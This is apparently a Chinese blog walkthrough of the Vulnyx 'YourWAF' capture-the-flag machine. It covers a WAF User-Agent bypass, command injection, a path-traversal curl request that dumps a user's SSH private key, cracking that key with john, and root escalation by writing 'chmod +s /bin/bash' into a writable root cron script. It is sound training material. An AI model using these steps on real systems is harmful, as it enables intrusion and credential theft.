Vulnyx-YourWAF-Walkthrough
城南花已开 Lv6

信息收集

服务探测

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
sudo arp-scan -l
[sudo] password for Pepster:
Interface: eth0, type: EN10MB, MAC: 5e:bb:f6:9e:ee:fa, IPv4: 192.168.60.100
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.60.1 00:50:56:c0:00:08 VMware, Inc.
192.168.60.2 00:50:56:e3:f6:57 VMware, Inc.
192.168.60.212 08:00:27:5c:7d:e8 PCS Systemtechnik GmbH
192.168.60.254 00:50:56:e5:e5:eb VMware, Inc.

4 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.050 seconds (124.88 hosts/sec). 4 responded
export ip=192.168.60.212
❯ rustscan -a $ip
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog :
: https://github.com/RustScan/RustScan :
--------------------------------------
RustScan: allowing you to send UDP packets into the void 1200x faster than NMAP

[~] The config file is expected to be at "/home/Pepster/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'.
Open 192.168.60.212:22
Open 192.168.60.212:80
Open 192.168.60.212:3000
[~] Starting Script(s)
[~] Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-27 08:05 CST
Initiating ARP Ping Scan at 08:05
Scanning 192.168.60.212 [1 port]
Completed ARP Ping Scan at 08:05, 0.05s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 08:05
Completed Parallel DNS resolution of 1 host. at 08:05, 0.00s elapsed
DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 3, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 08:05
Scanning 192.168.60.212 [3 ports]
Discovered open port 22/tcp on 192.168.60.212
Discovered open port 80/tcp on 192.168.60.212
Discovered open port 3000/tcp on 192.168.60.212
Completed SYN Stealth Scan at 08:05, 0.04s elapsed (3 total ports)
Nmap scan report for 192.168.60.212
Host is up, received arp-response (0.00031s latency).
Scanned at 2025-02-27 08:05:40 CST for 0s

PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 64
80/tcp open http syn-ack ttl 64
3000/tcp open ppp syn-ack ttl 64
MAC Address: 08:00:27:5C:7D:E8 (Oracle VirtualBox virtual NIC)

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.26 seconds
Raw packets sent: 4 (160B) | Rcvd: 4 (160B)

浏览器访问80端口,发现绑定了域名,编辑hosts添加域名

1
2
3
sudo vim /etc/hosts
[sudo] password for Pepster:
192.168.60.212 www.yourwaf.nyx yourwaf.nyx

扫了一下目录,好像什么也扫不出来

可能是waf做了拦截

image

此外还开放了3000端口,尝试访问下

显示未授权

1
2
❯ curl 192.168.60.212:3000
Unauthorized.%

目录扫描

扫一下目录

存在logs readfile目录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
❯ feroxbuster -u http://$ip:3000 -w /usr/share/seclists/Discovery/Web-Content/common.txt

___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.11.0
───────────────────────────┬──────────────────────
🎯 Target Url │ http://192.168.60.212:3000
🚀 Threads │ 50
📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/common.txt
👌 Status Codes │ All Status Codes!
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.11.0
💉 Config File │ /etc/feroxbuster/ferox-config.toml
🔎 Extract Links │ true
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 4
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404 GET 10l 15w -c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200 GET 1l 1w 13c http://192.168.60.212:3000/
200 GET 1l 1w 13c http://192.168.60.212:3000/readfile
200 GET 0l 0w 1485575608c http://192.168.60.212:3000/Logs
200 GET 0l 0w 1485575608c http://192.168.60.212:3000/logs
[####################] - 7s 4735/4735 0s found:2 errors:0
[####################] - 11s 4735/4735 439/s http://192.168.60.212:3000/

访问一下,发现是我们之前扫描目录的日志

image

通过日志分析发现他会检测User-Agent头信息,如果是gobuster之类的则会拒绝

模糊测试子域名

我们扫一下子域名,添加一下User-Agent模拟正常的用户登录,以绕过waf

得到一个新的子域名maintenance.yourwaf.nyx,编辑下hosts

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
❯ wfuzz -c -u "http://yourwaf.nyx" -H "HOST:FUZZ.yourwaf.nyx" -H "User-Agent:Mozilla/5.0" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt --hw 0
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************

Target: http://yourwaf.nyx/
Total requests: 114441

=====================================================================
ID Response Lines Word Chars Payload
=====================================================================

000000001: 200 170 L 685 W 10705 Ch "www - www"
000000633: 200 13 L 28 W 290 Ch "maintenance - maintenance"

命令注入

访问一下,存在命令执行

image

这个waf虽然会过滤掉一些符号,但可以通过busybox进行反弹shell

或者利用base64编码后的命令,再解码执行

image

用户提权

监听一下端口,拿到用户tester

1
2
3
4
5
6
7
8
9
10
11
❯ pwncat-cs -lp 4444
[10:00:58] Welcome to pwncat 🐈! __main__.py:164
[10:01:00] received connection from 192.168.60.212:48986 bind.py:84
[10:01:00] 0.0.0.0:4444: upgrading from /usr/bin/dash to /usr/bin/bash manager.py:957
[10:01:01] 192.168.60.212:48986: registered new host w/ db manager.py:957
(local) pwncat$
(remote) www-data@yourwaf:/var/www/maintenance.yourwaf.nyx$
(remote) www-data@yourwaf:/$ cat /etc/passwd|grep bin/bash
root:x:0:0:root:/root:/bin/bash
tester:x:1000:1000:tester,,,:/home/tester:/bin/bash

我传了pspy64上去,监测一下系统进程

发现root会定期执行/opt/nodeapp下面的脚本文件

1
2
3
4
5
6
7
8
9
10
2025/02/27 03:13:09 CMD: UID=0     PID=14689  | PM2 v5.4.0: God Daemon (/root/.pm2)
2025/02/27 03:13:09 CMD: UID=0 PID=14690 | /bin/bash /opt/nodeapp/copylogs.sh
2025/02/27 03:13:22 CMD: UID=0 PID=14691 | PM2 v5.4.0: God Daemon (/root/.pm2)
2025/02/27 03:13:22 CMD: UID=0 PID=14692 | /bin/bash /opt/nodeapp/copylogs.sh
2025/02/27 03:13:35 CMD: UID=0 PID=14693 | PM2 v5.4.0: God Daemon (/root/.pm2)
2025/02/27 03:13:35 CMD: UID=0 PID=14694 | /bin/bash /opt/nodeapp/copylogs.sh
2025/02/27 03:13:47 CMD: UID=0 PID=14695 | PM2 v5.4.0: God Daemon (/root/.pm2)
2025/02/27 03:13:47 CMD: UID=0 PID=14696 | /bin/bash /opt/nodeapp/copylogs.sh
2025/02/27 03:14:00 CMD: UID=0 PID=14697 | PM2 v5.4.0: God Daemon (/root/.pm2)
2025/02/27 03:14:00 CMD: UID=0 PID=14698 | /bin/bash /opt/nodeapp/copylogs.sh

查看一下脚本内容

执行的操作是定期将apache2产生的log复制到/opt/nodeapp/logs

1
2
3
4
5
6
(remote) www-data@yourwaf:/opt/nodeapp$ cat copylogs.sh
#!/bin/bash

# Copia de logs de modsecurity cada 10 sec

cp /var/log/apache2/modsec_audit.log /opt/nodeapp/logs

同级目录下还有server.js存放着3000端口的源代码

通过node.js编写的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
(remote) www-data@yourwaf:/opt/nodeapp$ cat server.js
const express = require('express')
const { exec } = require('child_process');
var path = require('path');

const app = express()
const port = 3000

const apiToken = '8c2b6a304191b8e2d81aaa5d1131d83d';


function checkApiToken(req, res, next) {
let sendApiToken = req.query["api-token"] ?? '';
if (apiToken !== sendApiToken) {
res.send("Unauthorized.")
return;
}
next();
}

app.use('/logs', (req, res) => {
let path_to_file = __dirname + '/logs/modsec_audit.log'
res.sendFile(path_to_file)
})


app.get('/', checkApiToken, (req, res) => {
res.send('API de mantenimiento!');
})

app.get('/restart', checkApiToken, (req, res) => {
exec('reboot', (error, stdout, stderr) => {
if (error) {
res.send(`exec error: ${error}`)
return;
}
res.send('Restarting server...');
});
})

app.get('/readfile', checkApiToken, (req, res) => {
let file = req.query["file"] ?? '';
if (file === '') {
res.send('Error: need file')
return;
}
if (file.indexOf('passwd') !== -1) {
res.send('ForbiddenError: Forbidden')
return;
}
let path_to_file = __dirname + file
res.sendFile(path.resolve(path_to_file))
})


app.listen(port, () => {
console.log(`Example app listening on port ${port}`)
})

Root提权

通过分析代码,可以得知/readfile无法读取passwd但可以读取其他文件

读取文件前首先要通过checkApiToken校验才能返回信息,否则返回Unauthorized

尝试利用apitoken读一下用户tester的私钥文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
❯ curl http://www.yourwaf.nyx:3000/readfile\?api-token\=8c2b6a304191b8e2d81aaa5d1131d83d\&file\=/home/tester/.ssh/id_rsa
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error</title>
</head>
<body>
<pre>Error: ENOENT: no such file or directory, stat &#39;/opt/nodeapp/home/tester/.ssh/id_rsa&#39;</pre>
</body>
</html>
❯ curl http://www.yourwaf.nyx:3000/readfile\?api-token\=8c2b6a304191b8e2d81aaa5d1131d83d\&file\=../../../home/tester/.ssh/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
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
NOmwKPWS5rqFofpdCmmz/n4nRNM=
-----END OPENSSH PRIVATE KEY-----

爆破一下私钥

1
2
3
4
5
6
7
8
9
10
11
12
13
❯ vi id_rsa
❯ ssh2john id_rsa >hash
❯ john hash --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes
Cost 2 (iteration count) is 16 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
wafako (id_rsa)
1g 0:00:03:32 DONE (2025-02-27 10:38) 0.004702g/s 43.18p/s 43.18c/s 43.18C/s 111289..drogba
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

ssh连接一下

用户tester隶属于copylogs用户组

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
❯ ssh tester@$ip -i id_rsa
Enter passphrase for key 'id_rsa':
Linux yourwaf 6.1.0-21-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.90-1 (2024-05-03) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun May 26 22:47:28 2024 from 192.168.1.116
tester@yourwaf:~$ id
uid=1000(tester) gid=1000(tester) grupos=1000(tester),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),100(users),106(netdev),1001(copylogs)
tester@yourwaf:~$ cat user-afa83c8bac2338a439766f22e8245636.txt
32056d6dd51c2bb5ef2a002c546cc255

root定期执行的脚本copylogs可以修改

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
tester@yourwaf:~$ cd /opt/nodeapp/
tester@yourwaf:/opt/nodeapp$ ls -al
total 60
drwxr-xr-x 4 root root 4096 may 26 2024 .
drwxr-xr-x 3 root root 4096 may 26 2024 ..
-rwxrwxr-x 1 root copylogs 111 may 26 2024 copylogs.sh
-rw-r--r-- 1 root root 232 may 26 2024 ecosystem.config.js
drwxr-xr-x 2 root root 4096 may 26 2024 logs
drwxr-xr-x 66 root root 4096 may 26 2024 node_modules
-rw-r--r-- 1 root root 303 may 26 2024 package.json
-rw-r--r-- 1 root root 25436 may 26 2024 package-lock.json
-rw-r--r-- 1 root root 1247 may 26 2024 server.js
tester@yourwaf:/opt/nodeapp$ vi copylogs.sh
chmod +s /bin/bash
tester@yourwaf:/tmp$ ./pspy64
2025/02/27 03:42:28 CMD: UID=0 PID=15271 | /bin/bash /opt/nodeapp/copylogs.sh
2025/02/27 03:42:28 CMD: UID=0 PID=15272 | /bin/bash /opt/nodeapp/copylogs.sh
2025/02/27 03:42:38 CMD: UID=0 PID=15273 | /bin/bash /opt/nodeapp/copylogs.sh
2025/02/27 03:42:38 CMD: UID=0 PID=15274 | chmod +s /bin/bash

正常提权即可

1
2
3
4
5
tester@yourwaf:/tmp$ bash -p
bash-5.2# whoami
root
bash-5.2# cat /root/root-e765ca897810e6e2da0e594113bfe9b3.txt
a86f99d5be34faec32e3cfd477a8a282
由 Hexo 驱动 & 主题 Keep
本站由 提供部署服务
总字数 502.5k